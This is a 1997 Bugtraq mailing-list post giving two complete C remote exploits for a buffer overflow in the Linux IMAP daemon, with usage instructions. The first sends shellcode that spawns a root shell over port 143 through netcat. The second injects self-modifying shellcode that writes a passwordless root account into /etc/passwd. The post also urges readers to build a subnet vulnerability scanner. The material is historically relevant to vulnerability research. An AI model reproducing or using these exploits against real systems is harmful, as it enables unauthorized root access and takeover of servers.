The VERY popular imapd remote overflow

Date: Thu, 7 Aug 1997 19:35:34 +0100
From: so1o <so1o@INSECURITY.ORG>
To: BUGTRAQ@NETSPACE.ORG
Subject: imapd goodies, one that works.

Hi,

Here's the rootshell spawning imapd remote exploit, you don't get a
prompt, just hit "ls" or whatever when you connect to port 143 using
this exploit, you need netcat and a bit of luck, ignore any warnings on
compilation...

/*
 * IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05
 *
 * Workz fine against RedHat and imapd distributed with pine
 *
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of
ToXyn !!!
 *
 * usage:
 *      $ (imap 0; cat) | nc victim 143
 *              |
 *              +--> usually from -1000 to 1000 ( try in steps of 100 )
 *
 *              [ I try 0, 100 and 200 - so1o ]
 */

#include <stdio.h>

char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";

char username[1024+255];

void main(int argc, char *argv[]) {
        int i,a;
        long val;

        if(argc>1)
                a=atoi(argv[1]);
        else
                a=0;

        strcpy(username,shell);

        for(i=strlen(username);i<sizeof(username);i++)
                username[i]=0x90; /* NOP */

        val = 0xbffff501 + a;

        for(i=1024;i<strlen(username)-4;i+=4)
        {
                username[i+0] = val & 0x000000ff;
                username[i+1] = (val & 0x0000ff00) >> 8;
                username[i+2] = (val & 0x00ff0000) >> 16;
                username[i+3] = (val & 0xff000000) >> 24;
        }

        username[ sizeof(username)-1 ] = 0;

        printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);
}

If you have half a brain, then it doesn't take 2 mins to throw together
a quick subnet imapd vulnerability scanner, so have fun.

Fin.

.so1o

The CodeZero Ninja Task Force.
   http://www.hacked.net
/*


----
  This is the remote exploit of the hole in the imap daemon, for
  Linux.  The instruction code is doing open(), write(), and close()
  system calls, and  it adds a line root::0:0.. at the beggining of
  /etc/passwd (change to /etc/shadow if needed).  The  code needs to
  be self modifying since imapd turns everything to lowercase before
  it pushes it on the stack.  The problem  is that it  rewrites the
  first line of passwd/shadow,  therefore loosing the root password.

  I'm sorry, but I don't have time to add in the seek syscall.

  - Akylonius (aky@galeb.etf.bg.ac.yu) [1997]

  Modifications made on 5.1.97 to accept command line hostname,  with
  'h_to_ip' function that resolves it to an ip.  -  p1 (p1@el8.org)

*/

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>

char *h_to_ip(char *hostname);

char *h_to_ip(char *hostname) {

  struct hostent *h;
  struct sockaddr_in tmp;
  struct in_addr in;

  h = gethostbyname(hostname);

  if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }

  memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
  memcpy(&in,&tmp.sin_addr.s_addr,4);

return(inet_ntoa(in));
}

void banner(void) {
  system("clear");
  printf("\nIMAP Exploit for Linux.\n");
  printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
  printf(" Modifications: p1 (p1@el8.org)\n");
}

main(int argc, char **argv) {

  int fd;
  struct sockaddr_in sckdaddr;
  char *hostname;
  char buf[4092];
  int i=8;
  char realegg[] =
    "\xeb\x58\x5e"
    "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
    "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
    "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
    "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
    "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
    "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
    "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
    "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
    "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
    "/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
  char *point = realegg;
  buf[0]='*';
  buf[1]=' ';
  buf[2]='l';
  buf[3]='o';
  buf[4]='g';
  buf[5]='i';
  buf[6]='n';
  buf[7]=' ';

  banner();

  if (argc<2)  {
     printf("\nUsage: %s <hostname>\n\n", argv[0]);
     exit(-1);
  }

  hostname=argv[1];

  while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
    buf[i++]=0x90;

  while(*point)
    buf[i++]=*(point++);

  buf[i++]=0x83; /* ebp */
  buf[i++]=0xf3;
  buf[i++]=0xff;
  buf[i++]=0xbf;
  buf[i++]=0x88; /* ret adr */
  buf[i++]=0xf8;
  buf[i++]=0xff;
  buf[i++]=0xbf;

  buf[i++]=' ';
  buf[i++]='b';
  buf[i++]='a';
  buf[i++]='h';
  buf[i++]='\n';

  buf[i++]=0x0;


  if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. \n");

  sckdaddr.sin_port=htons(143);
  sckdaddr.sin_family=AF_INET;
  sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));

  if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
perror("Error with connecting. \n");

  printf("hmm: \n");
  getchar();
  write(fd,buf,strlen(buf)+1);
  printf("hmm: \n");
  close(fd);
}